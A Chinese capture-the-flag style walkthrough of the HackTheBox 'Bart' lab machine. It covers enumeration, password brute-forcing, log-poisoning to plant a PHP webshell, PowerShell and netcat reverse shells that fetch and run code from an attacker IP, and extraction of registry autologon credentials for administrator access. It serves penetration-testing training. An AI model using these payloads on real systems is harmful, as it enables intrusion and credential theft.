freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

HTB靶机渗透系列之Bart
2022-04-15 01:07:05
所属地 浙江省

Bart是一个中等难度的靶机,知识点涉及密码爆破、网页信息爬取、javascript代码分析、登陆凭证获取、任意注册等。感兴趣的同学可以在HackTheBox中进行学习。

截屏2021-10-21 上午2.38.50
通关思维导图
Bart

0x01 侦查

端口探测

首先通过nmap对目标进行端口扫描

nmap -Pn -p- -sV -sC -A 10.10.10.81 -oA nmap_Bart

截屏2021-10-21 上午2.52.33
扫描结果显示目标开放了80端口

80端口

访问http://10.10.10.81会重定向至http://forum.bart.htb,因此需修改 hosts 文件通过用域名访问80端口

vim /etc/hosts
# HTB配置
10.10.10.81 forum.bart.htb bart.htb

截屏2021-10-21 上午3.15.06

使用 gobuster 进行目录扫描,但是扫描未成功

gobuster dir -u http://forum.bart.htb -w /usr/share/wordlists/dirb/big.txt 

截屏2021-10-21 上午3.52.35

切换 wfuzz 来测试目录结构,但是还是无果。

wfuzz -c -w /usr/share/wordlists/dirb/big.txt http://forum.bart.htb/FUZZ --hh 158607

将目标切换为http://bart.htb进行扫描,扫描结果显示存在两个跳转目录:forum 和 monitor

wfuzz -c -w /usr/share/wordlists/dirb/big.txt http://bart.htb/FUZZ 

截屏2021-10-21 上午9.24.19
截屏2021-10-21 上午9.26.02
分别访问http://bart.htb/forumhttp://bart.htb/monitor
截屏2021-10-21 上午10.02.32
截屏2021-10-21 上午10.03.29

forum 目录页面与 forum 子域名页面相同,那么 monitor 目录是否也与 monitor 子域名页面相同呢?带着这个疑问我们在 hosts 文件中添加域名解析

vim /etc/hosts
# HTB配置
10.10.10.81 forum.bart.htb bart.htb monitor.bart.htb

成功访问,说明猜测正确
截屏2021-10-21 上午10.06.42

密码爆破

在 forum.bart.htb 中存在以下用户信息。其中只有 Harvey Potter 的信息是被注释掉的,因此将其作为重点关注对象

NameEmailPosition
Samantha Browns.brown@bart.localCEO@BART
Daniel Simmonsd.simmons@bart.htbHead of Sales
Robert Hiltonr.hilton@bart.htbHead of IT
Harvey Potterh.potter@bart.htbDeveloper@BART
Daniella Lamborghinid.lamborghini@bart.htb (guess?)Head of Recruitment

截屏2021-10-21 上午10.13.02

我们可以在监控登陆界面处的找回密码来进行用户名枚举。当输入错误的用户名时出现界面如下
截屏2021-10-21 上午10.22.40

当输入正确的用户名时,出现email已发送的提示信息
截屏2021-10-21 上午10.23.15

使用 cewl 从网页上爬取字符来获取对应的字典

cewl -w cewl-forum.txt -e -a http://forum.bart.htb

截屏2021-10-21 上午10.32.00

使用 BurpSuite 对 harvey 用户进行密码爆破
截屏2021-10-21 下午2.25.34

将密码参数user_password作为请求变量,成功爆破出密码为 potter
截屏2021-10-21 下午2.25.15

使用harvey/potter进行登录监控界面
截屏2021-10-21 下午2.35.58

登陆后发现存在另一个子域名:internal-01.bart.htb
截屏2021-10-21 下午2.36.39

0x02 上线[iusr]

密码爆破

修改 hosts 文件并添加新的子域名

10.10.10.81 forum.bart.htb bart.htb monitor.bart.htb internal-01.bart.htb

设置完成后访问internal-01.bart.htb,是一个内部聊天系统
截屏2021-10-21 下午2.38.57

尝试使用之前的账号密码进行登录,显示报错信息:密码长度不得小于8位
截屏2021-10-21 下午2.41.10

同时如果输入不存在的用户名则会提示用户名未认证
截屏2021-10-21 下午2.47.52

尝试使用密码爆破的方式来获取密码,首先通过 BurpSuite 截取数据包
截屏2021-10-21 下午2.49.41使用 hydra 进行构造对请求数据包进行爆破,但是返回的 code 都是302,无法识别是否为正确的 code

hydra -t 1 -l harvey -P /usr/share/wordlists/fasttrack.txt  -o internal-out.txt -vV -f internal-01.bart.htb http-post-form '/simple_chat/login_form.php:uname=^USER^&passwd=^PASS^&submit=Login:error'

我们还是使用 BurpSuite 进行爆破
截屏2021-10-21 下午3.58.55

成功拿到密码为Password1,使用harvey/Password1登录系统
截屏2021-10-21 下午3.01.29

任意注册

除了爆破以外我们还可以通过另外一种方式进行登录,扫描 simple_chat 目录可发现存在注册页面register.php

gobuster dir -u http://internal-01.bart.htb/simple_chat -w /usr/share/wordlists/dirb/big.txt -x html,php,txt

虽然无法直接访问该文件。但是我们可通过以下命令注册一个新用户

curl -X POST http://internal-01.bart.htb/simple_chat/register.php -d "uname=mac&passwd=password"

mac/password同样能够成功登录系统
截屏2021-10-21 下午3.40.42

js代码分析

查看页面源代码发现其中存在 javascript 代码

function saveChat() {
	// create a serialized object and send to log_chat.php. Once done hte XHR request, alert "Done"
	var xhr = new XMLHttpRequest();
	xhr.onreadystatechange = function() {
    	if (xhr.readyState == XMLHttpRequest.DONE) {
       		alert(xhr.responseText);
    	}
	}
	xhr.open('GET', 'http://internal-01.bart.htb/log/log.php?filename=log.txt&username=harvey', true);
	xhr.send(null);
	alert("Done");
}			

截屏2021-10-21 下午3.08.46
经过测试发现当用户点击 log 时,就会弹出Done并随后弹出数字1。因为变量 xhr 是由三个参数进行调用,当该参数为 true 时调用异步模式,脚本完成会提示Done。如果收到http响应时,则会调用xhr.onreadystatechange函数并进行提示。与此同时会将请求包直接记录到日志当中。

日志记录获取webshell

访问http://internal-01.bart.htb/log/log.txt,发现它记录了用户请求时间、参数以及user-agent等请求信息
截屏2021-10-21 下午3.22.43

与此同时我们再来看请求日志地址http://internal-01.bart.htb/log/log.php?filename=log.txt&username=harvey,一个新的思路酝酿而成:如果指定请求参数 filename 为PHP文件并修改请求头 User-agent 为PHP脚本内容,是否能完成getshell?

使用 BurpSuite 截取点击log后的数据包,将请求参数 filename 修改为phpinfo.php,User-agent 修改为<?php phpinfo();?>
截屏2021-10-21 下午4.03.35

发送成功后访问/log/phpinfo.php,成功解析为php脚本语言,这也就意味着我们的猜测正确。
截屏2021-10-21 下午4.04.01

尝试获取webshell,将文件名修改为mac1.php,内容为PHP一句话木马

<?php system($_GET['cmd']);?>

截屏2021-10-21 下午4.11.33

访问木马地址http://internal-01.bart.htb/log/mac1.php?cmd=whoami,可成功执行命令
截屏2021-10-21 下午4.11.50

反弹shell

使用 nishang 中的 Invoke-PowerShellTcp.ps1 脚本来构造反弹

cp /root/Desktop/nishang/Shells/Invoke-PowerShellTcp.ps1 . 

在脚本最终添加需要反弹的地址和端口

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.3 -Port 5555

使用 python 开启 http 服务

python -m SimpleHTTPServer 80

在本地监听5555端口

nc -nvlp 5555

在木马中执行如下命令

cmd=powershell -c iex(new-object net.webclient).downloadstring('http://10.10.14.3/Invoke-PowerShellTcp.ps1')

成功反弹shell
截屏2021-10-21 下午4.17.27

0x03 权限提升[administrator]

登陆凭证获取

参考文章:https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/
执行以下命令可在注册表中发现自动登录的默认凭据

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"

但以上是cmd命令,而目前所处环境为powershell,因此需替换为powershell命令

Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*"

截屏2021-10-21 下午4.51.42

但是结果显示为空,我们可再构造一个cmd的shell,首先上传 nc.exe

powershell.exe -Command (new-object System.Net.WebClient).DownloadFile('http://10.10.14.3/nc.exe','nc.exe')

截屏2021-10-21 下午4.35.39
在本地监听7777端口

nc -nvlp 7777

在靶机中执行反弹命令

.\nc.exe -e cmd.exe 10.10.14.3 7777

成功拿到cmd窗口,同时查询操作系统版本发现目标为Windows 10 Pro
截屏2021-10-21 下午4.45.27

但查询凭据后还是为空,说明并不是命令的问题。那到底是为什么找不到凭据呢?继续猜测可能是机器出了问题,但是后来发现并不是这样。真正原因是因为我们获取到的 shell 是32位的,而以上命令只能于64位 shell 中查询。
截屏2021-10-21 下午4.46.35

那么我们切换64位版本 nc 来反弹并上传 nc64.exe

powershell.exe -Command (new-object System.Net.WebClient).DownloadFile('http://10.10.14.3/nc64.exe','nc64.exe')

在本地监听2222端口

nc -nvlp 2222

在靶机中执行反弹shell

.\nc64.exe -e powershell.exe 10.10.14.3 2222

判断当前是否处于64位环境中

[environment]::Is64BitOperatingSystem
[environment]::Is64BitProcess

32位环境下:
截屏2021-10-22 上午9.23.14
64位环境下:
截屏2021-10-22 上午9.24.35
查看注册表中的自动登录凭据
截屏2021-10-22 上午9.25.06

反弹shell

复制Invoke-PowerShellTcp.ps1shell.ps1,同时将反弹端口修改为9999

cp Invoke-PowerShellTcp.ps1 shell.ps1

在本地开启nc监听

nc -nvlp 9999

构造管理员登陆凭据

$username = "BART\Administrator"
$password = "3130438f31186fbaf962f407711faddb"
$secstr = New-Object -TypeName System.Security.SecureString
$password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
$cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr
Invoke-Command -ScriptBlock { IEX(New-Object Net.WebClient).downloadString('http://10.10.14.3/shell.ps1') } -Credential $cred -Computer localhost

截屏2021-10-21 下午5.25.49
成功拿到反弹shell
截屏2021-10-21 下午5.26.02
分别在用户h.potter和管理员的桌面上寻找flag

dir c:\Users\h.potter\
type c:\Users\h.potter\user.txt
dir c:\Users\administrator\Desktop
type c:\Users\administrator\Desktop\root.txt

截屏2021-10-21 下午5.29.23截屏2021-10-21 下午5.30.28
成功拿到两个flag

默认共享连接

当然我们也可以通过默认共享的方式连接在当前shell环境下拿到管理员权限

net use x: \\localhost\c$ /user:administrator 3130438f31186fbaf962f407711faddb
x:
cd \Users\administrator\Desktop
type root.txt

截屏2021-10-21 下午6.26.52

总结:该靶机主要考验我们的信息收集能力,直接访问站点会跳转至域名,因此我们我们需要通过域名解析才能成功访问站点。在目录扫描过程中发现存在monitor子域名,遂将其也添加至域名解析当中,monitor是一个监控管理界面,我们利用从主站点拿到的用户信息作为账号和cewl爬取的字符作为密码进行爆破,爆破成功后可使用harvey登陆监控系统,该系统中存在javascript代码,通过分析后我们可利用日志接口上传木马,并通过站点木马拿到反弹shell。靶机的注册表中存在管理员自动登陆凭证,借助该登陆凭证可成功上线管理员。

# HTB渗透
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录